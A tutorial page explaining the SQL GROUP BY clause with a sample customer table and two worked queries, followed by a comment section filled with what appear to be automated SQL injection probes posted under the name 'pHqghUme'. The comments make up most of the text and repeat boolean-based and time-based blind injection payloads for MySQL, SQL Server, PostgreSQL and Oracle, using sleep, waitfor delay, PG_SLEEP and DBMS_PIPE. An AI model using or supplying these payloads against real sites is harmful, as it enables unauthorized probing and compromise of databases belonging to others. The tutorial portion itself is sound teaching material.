SQL Group By
The SQL Group By statement is used to group identical values into summary rows such as "Search the number of users in each state". The GROUP BY statement is often used with aggregate functions and follows the WHERE clause in a select statement.
Group By Syntax :
The syntax of the Group By is −
SELECT column1, column2
FROM table_name
WHERE [ conditions ]
GROUP BY column1, column2
ORDER BY column1, column2
Group By Example :
Consider the Customer table with the following records -
CustomerID |
CustomerName |
Age |
Address |
CustomerSalary |
1 |
Aarav |
28 |
Udaipur |
28000 |
2 |
Vivaan |
25 |
Mumbai |
30000 |
3 |
Reyansh |
28 |
Chennai |
35000 |
4 |
Muhammad |
25 |
Udaipur |
50000 |
5 |
Sai |
30 |
Mumbai |
27000 |
TEST CASE 1 :- The following code is an example, which would select the Address and sum of CustomerSalary from the Customer table GROUP BY Address.
SELECT Address, SUM(CustomerSalary) FROM Customer
GROUP BY Address;
The result for the respective sql query is as follows −
Address |
CustomerSalary |
Chennai |
35000 |
Mumbai |
57000 |
Udaipur |
78000 |
TEST CASE 2:- The following code is an example, which would select the Age and sum of CustomerSalary from the Customer table GROUP BY Age.
SELECT Age, SUM(CustomerSalary) FROM Customer
GROUP BY Age;
The result for the respective sql query is as follows −
Age |
CustomerSalary |
25 |
80000 |
28 |
63000 |
30 |
27000 |
Visit :
Discussion
pHqghUme
-1 OR 2+984-984-1=0+0+0+1 --
pHqghUme
-1 OR 2+111-111-1=0+0+0+1
pHqghUme
-1' OR 2+305-305-1=0+0+0+1 --
pHqghUme
-1' OR 2+776-776-1=0+0+0+1 or 'hvpcLI52'='
pHqghUme
-1" OR 2+973-973-1=0+0+0+1 --
pHqghUme
if(now()=sysdate(),sleep(15),0)
pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
-1; waitfor delay '0:0:15' --
pHqghUme
-1); waitfor delay '0:0:15' --
pHqghUme
1 waitfor delay '0:0:15' --
pHqghUme
qoNZIKbU'; waitfor delay '0:0:15' --
pHqghUme
-5 OR 284=(SELECT 284 FROM PG_SLEEP(15))--
pHqghUme
-5) OR 956=(SELECT 956 FROM PG_SLEEP(15))--
pHqghUme
-1)) OR 167=(SELECT 167 FROM PG_SLEEP(15))--
pHqghUme
8YVFIBUK' OR 407=(SELECT 407 FROM PG_SLEEP(15))--
pHqghUme
AyRlscGy') OR 882=(SELECT 882 FROM PG_SLEEP(15))--
pHqghUme
XQ7iomH2')) OR 61=(SELECT 61 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
-1 OR 2+263-263-1=0+0+0+1 --
pHqghUme
-1 OR 3+263-263-1=0+0+0+1 --
pHqghUme
-1 OR 3*2<(0+5+263-263) --
pHqghUme
-1 OR 3*2>(0+5+263-263) --
pHqghUme
-1 OR 2+255-255-1=0+0+0+1
pHqghUme
-1 OR 3+255-255-1=0+0+0+1
pHqghUme
-1 OR 3*2<(0+5+255-255)
pHqghUme
-1 OR 3*2>(0+5+255-255)
pHqghUme
-1' OR 2+779-779-1=0+0+0+1 --
pHqghUme
-1' OR 3+779-779-1=0+0+0+1 --
pHqghUme
-1' OR 3*2<(0+5+779-779) --
pHqghUme
-1' OR 3*2>(0+5+779-779) --
pHqghUme
-1' OR 2+376-376-1=0+0+0+1 or 'FJnQ3p0d'='
pHqghUme
-1' OR 3+376-376-1=0+0+0+1 or 'FJnQ3p0d'='
pHqghUme
-1' OR 3*2<(0+5+376-376) or 'FJnQ3p0d'='
pHqghUme
-1' OR 3*2>(0+5+376-376) or 'FJnQ3p0d'='
pHqghUme
-1" OR 2+414-414-1=0+0+0+1 --
pHqghUme
-1" OR 3+414-414-1=0+0+0+1 --
pHqghUme
-1" OR 3*2<(0+5+414-414) --
pHqghUme
-1" OR 3*2>(0+5+414-414) --
pHqghUme
if(now()=sysdate(),sleep(15),0)
pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
-1; waitfor delay '0:0:15' --
pHqghUme
-1); waitfor delay '0:0:15' --
pHqghUme
1 waitfor delay '0:0:15' --
pHqghUme
lCwvvVbg'; waitfor delay '0:0:15' --
pHqghUme
-5 OR 722=(SELECT 722 FROM PG_SLEEP(15))--
pHqghUme
-5) OR 803=(SELECT 803 FROM PG_SLEEP(15))--
pHqghUme
-1)) OR 120=(SELECT 120 FROM PG_SLEEP(15))--
pHqghUme
cEAKiKgT' OR 236=(SELECT 236 FROM PG_SLEEP(15))--
pHqghUme
Lhr0jM7F') OR 514=(SELECT 514 FROM PG_SLEEP(15))--
pHqghUme
6aAIgQI4')) OR 501=(SELECT 501 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'